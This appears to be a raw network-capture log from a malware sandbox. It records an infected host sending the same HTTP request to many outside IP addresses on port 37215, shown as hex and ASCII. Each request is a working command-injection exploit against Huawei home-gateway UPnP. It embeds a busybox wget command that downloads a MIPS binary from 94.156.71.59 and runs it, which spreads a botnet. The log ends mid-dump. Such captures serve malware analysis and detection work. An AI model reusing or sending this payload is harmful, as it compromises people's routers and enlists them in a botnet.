Jun 10, 2024 15:38:00.024876118 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	40448	156.11.232.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.025563002 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	43020	156.253.209.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.026294947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	42370	197.218.185.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.027008057 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	55096	41.59.124.13	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.027698994 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	42996	197.211.105.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.028419018 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	34938	156.205.120.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.029158115 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	33426	41.199.166.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.029895067 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	41584	41.169.217.182	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.030617952 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	52142	197.94.187.63	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.031358957 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	51814	197.105.195.56	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.032058001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 